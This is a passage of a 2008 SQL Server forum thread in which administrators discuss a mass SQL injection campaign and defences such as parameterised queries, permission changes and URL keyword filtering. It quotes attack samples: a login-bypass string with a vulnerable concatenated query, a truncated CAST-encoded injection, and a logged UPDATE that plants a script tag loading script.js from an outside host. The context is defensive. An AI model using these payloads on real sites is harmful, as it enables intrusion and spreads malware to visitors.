September 10, 2008 at 6:03 am
This is definitely a SQL injection attack.
There is a new class of injection attack going round where the attacker just inserts the attacking code into a URL headed for your site. They do not know or care if the page links into a database, they do not know or care what security is on your system, they just know and care that a small percent of the attacks will work.
One such attack adds some javascript to the character columns in your database. When the data is displayed on a browser, the javascript downloads the real payload to the user's machine. Basically, they are turning your site into a bot to get the malicious code onto other people's machine. These guys are not interested in corrupting the target machine, they want keystrokes that may include bank details and passwords. Then they want the money... ...and your site may be held liable to reimburse the bank as you distributed the javascript.
Tweaking database permissions is unlikely to prevent this type of attack. What is more likely to work is parsing the data in the URL and rejecting anything with CAST, SELECT, UPDATE, DELETE, INSERT, DROP, CREATE, etc in it.
Original author: https://github.com/SQL-FineBuild/Common/wiki/ 1-click install and best practice configuration of SQL Server 2019, 2017 2016, 2014, 2012, 2008 R2, 2008 and 2005.
When I give food to the poor they call me a saint. When I ask why they are poor they call me a communist - Archbishop Hélder Câmara
September 10, 2008 at 6:16 am
Erm Ed, just one thing,
removing read permissions on sys tables so the web app can't see them kills this type of attack stone dead.
The specific attack needs to scan the sys tables to find targets for the injection, otherwise it won't work.
I'll grant you there are other attack methods but we are specifically talking about preventing the SQL injection.
Instead of DENY use REVOKE to remove permissions from public user role otherwise no user will be able to read the tables in question.
--Shaun
Hiding under a desk from SSIS Implemenation Work :crazy:
September 10, 2008 at 6:53 am
The specific attack needs to scan the sys tables to find targets for the injection, otherwise it won't work
My understanding is this is not true for at least some of the attacks. The attacker is adding some SQL code to the URL in the hope that it will get through to the database. For these attacks there is no conversation with the potentiall attacker, just a knife thrust.
For other attacks, preventing access to the sys tables will indeed stop them, but it will not stop everything.
More details of some of the attacks are at
http://www.modsecurity.org/blog/archives/2008/01/sql_injection_a.html
As a IRA spokeman said after one of their terrorist bombs was found: "You have to be lucky every time. We only have to be lucky once."
Original author: https://github.com/SQL-FineBuild/Common/wiki/ 1-click install and best practice configuration of SQL Server 2019, 2017 2016, 2014, 2012, 2008 R2, 2008 and 2005.
When I give food to the poor they call me a saint. When I ask why they are poor they call me a communist - Archbishop Hélder Câmara
September 10, 2008 at 7:06 am
Shaun McGuile (9/10/2008)
Erm Ed, just one thing,removing read permissions on sys tables so the web app can't see them kills this type of attack stone dead.
It kills this particular instance of this particular attack. It won't prevent every instance and possible variation of SQL injection. To do that, you need to ensure that ad-hoc code can't be injected. For that, parameterised queries/parameterised calls to stored procedures is the solution.
Gail Shaw
Microsoft Certified Master: SQL Server, MVP, M.Sc (Comp Sci)
SQL In The Wild: Discussions on DB performance with occasional diversions into recoverability
September 10, 2008 at 7:07 am
Enlighten me....how can a hacker change the content of a web page rendered on a server , which is then sent to the client browser....?
SQL injection via Cross Site Scripting is one method - this is what we are discussing.
The only way to add anything to the URLs in the website is to mainpulate the source code.
The only other type of attack that I can think of off hand is a page rewrite exploit via un-parsed session variables/hidden form fields, which are then used in a later page e.g. a multi-page application form.
But i think the OP wanted
1. to know how to harden his database.
and
2. realise that he needs to change his web application to database communication to a more secure form.
You can't stop the attacks but you can use sufficient armour to deflect and nullify the blows. 😉
Gail - I totally agree - stored procs and parameters etc. 🙂
Hiding under a desk from SSIS Implemenation Work :crazy:
September 10, 2008 at 7:12 am
As a IRA spokeman said after one of their terrorist bombs was found: "You have to be lucky every time. We only have to be lucky once."
Not really a quote in the best of taste given the current global political climate however, I guess it gets your point across.
As was mentioned in a prior post, ALL of these attacks can be negated or prevented by implementing the appropriate security best practices at the Web Tier of an application platform. The majority of which, are well documented on the internet.
If you adopt and implement the Microsoft documented principal of security in depth, your SQL Server security implementations should already be covered by several prior (non SQL Server) layers of security.
September 10, 2008 at 7:22 am
Shaun, I don't know who that was intended for, but changing the web page as rendered is not required, cross site scripting is not required, adding anything to urls as written in the page is not required.
The simplest form of SQL injection is to go to the login page of a web app and enter the following as the username
' or 1=1 --
If the developer of the site did something like this
sSQL = "Select name from Usernames where username = '" & txtUsername.Text & "' and Password = '" & txtUsername.Text & "'"
cmd.Execute(sSQL)
then the above username will allow access to the site with (most likely) the first username in the user table, which is often an admin user.
Manipulating the url can be done in the brower's address bar. Say a product list has an url like this
http://somesite.invalid/products/listproducts.asp?CategoryID=7
then that can be tampered with. If that querystring is getting added straight into a SQL query (all too common), then changing that will bring back other categories (not very interesting) or may return a SQL error message (if the site's displaying verbose errors). Those errors can then be used to determine the structure of the DB
It's not automated, like the latest attack that's going around, but it's potentially more dangerous as there's someone trying things out who can adapt based on what info and errors he gets.
The problem with restricting access to the system tables is that it gives a false sense of security.
Gail Shaw
Microsoft Certified Master: SQL Server, MVP, M.Sc (Comp Sci)
SQL In The Wild: Discussions on DB performance with occasional diversions into recoverability
September 10, 2008 at 7:53 am
Gail: I totally understand Query String maipulation as you've written it.
yes it doesn't require anything other than 'bad' script coding to cause such issues.
"http://somesite.invalid/products/listproducts.asp?CategoryID=7"
Who wouldn't parse that 'CategoryID' to make sure its of the correct type and scale?
(if your answer is you or someone you know then that's a major FAIL - disciplinary procedure time :P).
These days anyone who is still programming using such methods needs to change their ways.
(won't work very long otherwise :D)
Parsing of all input from a browser (Query String, Session variables, hidden form fields, cookies) which is reused in another page or function call needs to happen period, this is the only way to secure the web app.
Hey we all agree with each other.
1. Needs better DB security - roles and permissions.
2. Web application code - needs a rewrite, stored procs and parameters.
3. Web Server - probably needs patching.
Tell me I'm wrong....;)
Hiding under a desk from SSIS Implemenation Work :crazy:
September 10, 2008 at 7:53 am
I could tell you that you are wrong.
...but then I would be wrong. 🙂
Original author: https://github.com/SQL-FineBuild/Common/wiki/ 1-click install and best practice configuration of SQL Server 2019, 2017 2016, 2014, 2012, 2008 R2, 2008 and 2005.
When I give food to the poor they call me a saint. When I ask why they are poor they call me a communist - Archbishop Hélder Câmara
September 10, 2008 at 8:08 am
Shaun McGuile (9/10/2008)
"http://somesite.invalid/products/listproducts.asp?CategoryID=7"Who wouldn't parse that 'CategoryID' to make sure its of the correct type and scale?
You'll be surprised. Very surprised.
Do a google search and see how many sites have full querys in their querystrings
ie
http://somesite.invalid/reports/runreport?query=select%20col1%20%20FROM .......
Gail Shaw
Microsoft Certified Master: SQL Server, MVP, M.Sc (Comp Sci)
SQL In The Wild: Discussions on DB performance with occasional diversions into recoverability
September 10, 2008 at 8:13 am
Gail are you determined to have the last say on this thread?
The people who write such rubbish websites keep me employed 😀
For every site I fix, a hundred more are badly written then published. 😉
(your turn :D)
Hiding under a desk from SSIS Implemenation Work :crazy:
September 10, 2008 at 8:32 am
MIJ (6/24/2008)
I found this while running a Profiler trace and I'm trying to decide how worried I should be.
Select sectionID, heading from ordered where virtualSectionID_p =
'003;DECLARE @s-2 VARCHAR(4000);SET @s-2=CAST(0x4445434C415...'
It looks to me like the attack wasn't successful. If there was another single quote right after the 003, then you should be worried.
So long, and thanks for all the fish,
Russell Shilling, MCDBA, MCSA 2K3, MCSE 2K3
September 10, 2008 at 8:40 am
My preference is that the User that connects to the DB from a web application should not be able to do any raw SQL. make sure that the User does not have any right. All data access should be through Stored Procs. Thats my view. I hate giving permission to the tables directly.
-Roy
September 11, 2008 at 3:27 am
Shaun McGuile (9/10/2008)
Erm Ed, just one thing,removing read permissions on sys tables so the web app can't see them kills this type of attack stone dead.
The specific attack needs to scan the sys tables to find targets for the injection, otherwise it won't work.
I'll grant you there are other attack methods but we are specifically talking about preventing the SQL injection.
Instead of DENY use REVOKE to remove permissions from public user role otherwise no user will be able to read the tables in question.
--Shaun
i do this and there is 1 day no attack pass on all db and all tables tanks a lot !!!!!!!!!!!!!!
September 11, 2008 at 8:19 am
grrrrrrrrrrrrrrrrrrrr just 2 hours when i say no atttack bang !!!
my all my database down.
but i log this on sql server profiler
UPDATE [CALENDRIER] SET [TITREDATE]=RTRIM(CONVERT(VARCHAR(4000),[TITREDATE]))+' script src=http://www.4net9.ru/script.js /script '
where can they inject that
all querystring are locked with url_scan
all post are locked too !!!!
if you have an idea
TKS
Viewing 15 posts - 16 through 30 (of 41 total)
You must be logged in to reply to this topic. Login to reply